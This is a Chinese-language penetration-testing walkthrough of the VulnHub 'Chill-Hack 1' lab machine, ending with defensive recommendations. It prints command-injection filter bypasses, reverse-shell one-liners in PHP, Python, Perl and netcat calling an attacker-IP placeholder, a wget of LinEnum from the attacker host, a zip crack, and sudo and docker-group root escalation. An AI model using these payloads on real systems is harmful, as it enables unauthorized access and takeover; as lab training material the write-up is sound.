VulnHub-Chill-Hack 1 靶场渗透测试
字数 1270 2025-08-15 21:33:34
Chill-Hack 1 靶场渗透测试教学文档
靶场信息
- 下载地址: https://www.vulnhub.com/entry/chill-hack-1,622/
- 发布日期: 2020年12月9日
- 难度: 容易/中级
- 目标: 获取User和root两个flag
- 运行环境: VMware Workstation 16.x Pro(NAT网络模式)
渗透测试流程
一、信息收集
-
扫描目标IP
nmap -sn 10.0.0.0/24发现靶机IP: 10.0.0.131
-
端口扫描
nmap -sV -p- 10.0.0.131结果:
- 21/tcp: vsftpd 3.0.3 (FTP)
- 22/tcp: OpenSSH 7.6p1 Ubuntu
- 80/tcp: Apache httpd 2.4.29
-
FTP匿名登录
ftp 10.0.0.131用户名: anonymous
密码: (任意或留空)
获取提示文件:Anurodh told me that there is some filtering on strings being put in the command -- Apaar
二、Web应用渗透
-
目录扫描
dirb http://10.0.0.131/发现敏感目录: /secret/
-
命令执行漏洞
访问: http://10.0.0.131/secret/
发现存在命令注入漏洞绕过过滤技巧:
- 使用管道符:
whoami|ls - 使用双引号:
whoami"" - 使用分号:
ls;whoami
- 使用管道符:
-
反弹Shell
使用多种方法建立反向连接:PHP方法:
whoami|php -r '$sock=fsockopen("攻击机IP",8888);exec("/bin/bash -i <&3 >&3 2>&3");'Python方法:
whoami|python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'Perl方法:
whoami|perl -e 'use Socket;$i="攻击机IP";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'Netcat方法:
whoami|rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 攻击机IP 5555 >/tmp/f -
升级Shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
三、权限提升路径
-
信息收集
在/var/www/files路径发现:- hacker.php (提示: "在黑暗中看!你会找到答案的")
- /var/www/files/images/hacker-with-laptop_23-2147985341.jpg
-
图片隐写分析
steghide extract -sf hacker-with-laptop_23-2147985341.jpg提取出backup.zip
-
破解ZIP密码
fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt backup.zip密码: pass1word
-
获取SSH凭证
解压得到source_code.php,分析发现base64编码的密码:echo -n "IWQwbnRLbjB3bVlwQHNzdzByZA==" |base64 -d结果:
!d0ntKn0wmYp@ssw0rd -
SSH登录
尝试用户名: anurodhssh anurodh@10.0.0.131使用密码:
!d0ntKn0wmYp@ssw0rd成功登录 -
横向移动
-
检查sudo权限:
sudo -l结果:
User anurodh may run the following commands on ubuntu: (apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh -
利用.helpline.sh脚本:
sudo -u apaar /home/apaar/.helpline.sh在第二次输入时输入
/bin/bash获取apaar用户的shell
-
-
获取User Flag
在apaar用户目录下找到local.txt
四、提权至Root
-
信息收集
使用LinEnum.sh脚本:wget http://攻击机IP/LinEnum.sh chmod +x LinEnum.sh ./LinEnum.sh发现anurodh用户在docker组
-
Docker提权
参考GTFOBins:docker run -v /:/mnt --rm -it alpine chroot /mnt sh成功获取root权限
-
获取Root Flag
在root目录下找到proof.txt
总结
关键知识点
- 命令注入绕过技术(管道符、双引号、分号)
- 多种反弹Shell方法(PHP/Python/Perl/Netcat)
- 图片隐写分析(steghide)
- ZIP密码破解(fcrackzip)
- Sudo权限滥用
- Docker组提权
防御建议
- 对用户输入进行严格过滤
- 避免使用弱密码
- 限制sudo权限
- 谨慎分配docker组权限
- 避免在图片等文件中存储敏感信息